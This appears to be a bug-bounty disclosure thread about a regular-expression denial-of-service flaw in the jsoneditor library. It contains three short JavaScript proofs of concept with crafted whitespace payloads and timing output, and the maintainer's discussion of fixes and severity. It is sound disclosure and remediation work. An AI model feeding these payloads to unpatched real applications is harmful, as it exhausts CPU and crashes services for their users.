Inefficient Regular Expression Complexity in josdejong/jsoneditor
Reported on
Sep 20th 2021
βοΈ Description
The jsoneditor
package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted element as input to the getInnerText function may cause an application to consume an excessive amount of CPU.
Below pinned line using vulnerable regex.
π΅οΈββοΈ Proof of Concept
Reproducer where weβve copied the relevant code:
https://github.com/josdejong/jsoneditor/blob/c33544bf7de6f4af05b58c4072e28bc786fb3f45/src/js/util.js#L403
Put the below in a poc.js file and run with node
var regex = /\s*\n\s*/g;
for(var i = 1; i <= 500; i++) {
var time = Date.now();
var payload = "A"+" ".repeat(i*10000)+"Z"
regex.test(payload)
var time_cost = Date.now() - time;
console.log("Trim time : " + payload.length + ": " + time_cost+" ms");
}
Check the Output:
Trim time : 10002: 102 ms
Trim time : 20002: 421 ms
Trim time : 30002: 927 ms
Trim time : 40002: 1693 ms
Trim time : 50002: 2659 ms
Trim time : 60002: 3945 ms
Trim time : 70002: 5472 ms
Trim time : 80002: 7407 ms
Trim time : 90002: 8342 ms
Trim time : 100002: 10267 ms
Trim time : 110002: 13306 ms
--
--
π₯ Impact
This vulnerability is capable of exhausting system resources and leads to crashes.
Occurrences
SECURITY.md
2 years ago
Fixed via https://github.com/josdejong/jsoneditor/commit/092e386cf49f2a1450625617da8e0137ed067c3e, published in jsoneditor@9.5.6
I have a hard time to understand why this issue was marked as "Severity high". Loading any too large document in the jsoneditor will crash your browser. So, if an attacker has a possibility to load arbitrary text in the contents of the jsoneditor, there are easier ways to crash the users browser than carefully crafting contents that will trigger this regex inefficiency (the latter also requires that the user starts editing this specific large field in the document before the regex is executed).
@josdejong Thanks for the review. Yeah, you are right. Changed the Severity to low.
Can you please validate this using Mark as valid
and also confirm the fix
.
Thank you @josdejong for validating. I raised another issue in mathjs, please validate that and let me know your thoughts https://www.huntr.dev/bounties/989bbc02-2f54-4ecd-b405-e7ec34b7f990/
Hi maintainer, I found that the repaired regex /(\b|^)\s*\n\s*(\b|$)/
still has a ReDoS vulnerability. The PoC is as follows.
var regex = /(\b|^)\s*\n\s*(\b|$)/;
for(var i = 1; i <= 500; i++) {
var time = Date.now();
var payload = "\n".repeat(i*10000)+"\x00"
regex.test(payload)
var time_cost = Date.now() - time;
console.log("Trim time : " + payload.length + ": " + time_cost+" ms");
}
I am willing to suggest that you replace the regex /(\b|^)\s*\n\s*(\b|$)/
with /(\b|^)\s*\n(?!\n)\s*(\b|$)/
or /(\b|^)[ \f\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff](\n[ \f\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]*)+(\b|$)/
Feel free to contact me if you have any questions.
Best regards, Yeting Liββββ
Thanks @yetingli. Your proposed fix still has an issue when you for example use a payload with alternating returns and spaces.
I guess the culprit is the first \s*. I've addressed this concern now by changing the regex into a two step process: first find a series of whitespaces (any whitespace), next check if there is a return character in it. See the following commit:
https://github.com/josdejong/jsoneditor/commit/5d108b438576f29a91c1e53579b188adb5291292
Thank you for your reply @Jos de Jong. Your fix is safe. In addition, Can you give me a sample issue for my fix?
Thanks for the feedback. Here an example with the fix you proposed in combination with alternating spaces/returns in the payload:
var regex = /(\b|^)\s*\n(?!\n)\s*(\b|$)/;
for(var i = 1; i <= 500; i++) {
var time = Date.now();
var payload = "\n ".repeat(i*10000)+"\x00"
regex.test(payload)
var time_cost = Date.now() - time;
console.log("Trim time : " + payload.length + ": " + time_cost+" ms");
}